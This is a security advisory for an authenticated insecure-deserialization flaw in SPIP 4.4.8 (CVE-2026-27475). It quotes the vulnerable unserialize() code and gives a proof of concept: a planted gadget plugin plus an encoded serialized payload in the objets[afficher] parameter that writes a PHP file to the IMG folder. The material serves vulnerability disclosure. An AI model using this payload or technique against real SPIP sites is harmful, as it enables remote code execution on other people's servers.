(Critical) Authenticated Insecure Deserialization in SPIP 4.4.8
CVE-2026-27475 (CVSS-B 9.2 CRITICAL)
I found an insecure deserialization vulnerability taht can be triggered by an authenticated administrator via the parameter objets[afficher] passed to the URL ?page=prive/formulaires/selecteur/lister. It is passed directly to the PHP function unserialize() without verification.
While unserialize processes the data, it instantiates any class defined in the application scope. If a "POP Chain" or a specific "Gadget" class with a vulnerable __destruct or __wakeup method exists in the plugins, an attacker could achieve Remote Code Execution.
MITRE link here.
Blog post from SPIP here.
Details
You can trigger a deserialization which could lead to RCE.

Vulnerable code (prive/formulaires/selecteur/lister.html and ecrire/src/Compilateur/Iterateur/Data.php):
prive/formulaires/selecteur/lister.html :
<BOUCLE_objets(DATA){source table, #ENV{objets/afficher}}>
ecrire/src/Compilateur/Iterateur/Data.php :
protected function select_source() {
# rest of the code
if (
isset($this->command['sourcemode'])
and in_array(
$this->command['sourcemode'],
['table', 'array', 'tableau']
)
) {
if (
is_array($a = $src)
or (is_string($a)
and $a = str_replace('"', '"', $a)
and is_array($a = @unserialize($a)))
) {
$this->tableau = $a;
}
As you can see, the environment (#ENV{...} which retrieves the request from the URL for the objets[afficher] variable) is passed directly as a table-type source to the DATA loop.
The $src variable (the payload) enters this condition and then passes directly through an unserialize($a) if it is a string (is_string($a)). This triggers the instantiation of arbitrary objects and allows for the exploitation of gadget chains to achieve Remote Code Execution (RCE).
PoC
To demonstrate the criticity of this vulnerability, I crafted a quick target plugin.
- Create these files :
plugins/rce_gadget/paquet.xml
<paquet
prefix="rce_gadget"
categorie="outil"
version="1.0.0"
etat="test"
compatibilite="[4.0.0;4.*.*]"
>
<nom>RCE Gadget</nom>
<auteur>Attacker</auteur>
</paquet>
plugins/rce_gadget/rce_gadget_options.php
<?php
class ExploitGadget {
public $file;
public $data;
public function __destruct() {
echo "<pre>DEBUG:\n";
echo "File: "; var_dump($this->file);
echo "Data: "; var_dump($this->data);
echo "</pre>";
file_put_contents($this->file, $this->data);
die("PROOF");
}
}
-
Connect as administrator
-
Visit this URL :
/spip.php?page=prive/formulaires/selecteur/lister&objets[afficher]=a%3A1%3A%7Bi%3A0%3BO%3A13%3A%22ExploitGadget%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22IMG%2Frce.php%22%3Bs%3A4%3A%22data%22%3BS%3A19%3A%22%5C3c%5C3f%5C70%5C68%5C70%5C20%5C70%5C68%5C70%5C69%5C6e%5C66%5C6f%5C28%5C29%5C3b%5C20%5C3f%5C3e%22%3B%7D%7D&var_mode=recalcul&objets[selectionner][]=a.
The payload decodes to : a:1:{i:0;O:13:"ExploitGadget":2:{s:4:"file";s:11:"IMG/rce.php";s:4:"data";S:19:"<?php phpinfo(); ?>";}}. The encoding prevents encoding errors and ensures unserialize perfectly works.
- A file
rce.phpshould then be created in theIMGfolder. You can visit/IMG/rce.phpand see the result ofphpinfo.